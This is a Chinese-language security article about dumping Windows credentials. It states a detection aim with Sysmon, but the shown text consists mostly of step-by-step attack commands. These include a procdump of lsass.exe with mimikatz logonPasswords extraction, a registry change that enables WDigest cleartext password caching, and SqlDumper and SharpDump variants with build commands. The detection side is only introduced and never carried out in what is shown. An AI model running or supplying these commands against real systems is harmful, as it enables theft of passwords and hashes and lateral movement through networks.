声明:公众号大部分文章来自团队核心成员和知识星球成员,少部分文章经过原作者授权和其它公众号白名单转载。未经授权,严禁转载,如需转载,请联系开白!
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者及本公众号无关!!!
START
0x01前言
本节主要介绍几种windows系统环境下凭证转储的几种方式,以及通过日志如何去检查是否遭受到了凭证转储。
0x02相关概念
(1)凭证转储:从操作系统和软件中获取登录账号密码信息的过程,通过获取的凭证可以用来进行横向移动,获取受限信息,远程桌面连接等。 (2)lsass memory: 已登录用户的明文密码、Kerberos票证、Kerberos加密密钥、智能卡/令牌PIN代码、lm/ntlm哈希、dpapi域备份密钥、域信任身份验证信息、缓存的dpapi主密钥、缓存syskey(需要解密sam/lsa机密/缓存的凭据/ntds.dit)、明文pa存储在凭证管理器中的帐户密码。以上数据受到LsaProtectMemory保护。 (3)SAM (Security Accounts Manager):SAM是一个数据库文件,包含主机的本地帐户,通常使用“net user”命令找到的帐户。要枚举SAM数据库,需要系统级访问。 (4) 常见工具:Mimikatz、Invoke-Mimikatz、procdump、sqldump、sharpdump
0x03Sysmon 简介和使用
System Monitor (Sysmon)是一个Windows系统服务和设备驱动程序,以监视系统活动并将其记录到Windows事件日志中。提供了关于进程创建、网络连接和文件创建时间更改的详细信息。通过收集它使用Windows Event Collection或SIEM代理生成的事件,然后分析生成的文件记录,可以用来识别恶意或异常活动,并了解入侵者和恶意软件如何在您的网络上运行。
0x04获取系统口令
1) procdump+mimikatz 获取系统凭证详细步骤:
步骤一、procdump是微软的进程分析工具,用于针对目标主机系统进程进行打包,工具下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump。将procdump.exe 上传至目标主机,并执行:
procdump.exe -accepteula -ma lsass.exe lsass.dmp
步骤二、将lsass.dmp 回传至本地,通过mimikatz进行解包,mimikatz工具是一个法国人所写的轻量级调试器。可以直接从 lsass.exe 里获取windows处于active状态账号明文密码:
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
注:在windows 10 ,winserver2016 默认在内存缓存中禁止保存明文密码,密码字段显示为null,此时可以通过以下方法解决,但需要用户重新登录后才能成功抓取。 解决方式:修改注册表,等待用户再次登录,重复步骤1,2即可抓到明文:
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\ /v UseLogonCredential /t REG_DWORD /d 1
0x05常见进程转储方式
(1) procdump方式
Procdump是一个轻量级的Sysinternal团队开发的命令行工具, 它的主要目的是监控应用程序的CPU异常动向, 并在此异常时生成crash dump文件, 供研发人员和管理员确定问题发生的原因。可以利用该工具获取在线进程数据。
procdump.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe "sekurlsa::minidump lsaaa.dmp" "sekurlsa::logonPasswords full" "exit"
(2) sqldump方式
SqlDumper.exe默认存放在C:\Program Files\Microsoft SQL Server\number\Shared,number代表SQL Server的版本,如若目标计算机没有安装mssql,可以自行上传一个sqldumper.exe可执行件。
tasklist /svc |findstr lsass.exe
Sqldumper.exe 进程ID 0 0x01100
mimikatz.exe "sekurlsa::minidump SQLDmpr0001.mdmp" "sekurlsa::logonPasswords full" "exit"
(3) SharpDump方式
下载地址:https://github.com/GhostPack/SharpDump。下载下来的文件为源码,此时需要编译成可执行文件:
%SystemRoot%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "D:\工具\mimikatz\SharpDump-master\SharpDump.sln" /property:Configuration=Debug /t:build /p:VisualStudioVersion=14.0
进入c:\windows\temp\将debug.bin文件提取出来修改后缀bin为zip解压出来
mimikatz.exe "sekurlsa::minidump debug908" "sekurlsa::logonPasswords full" "exit"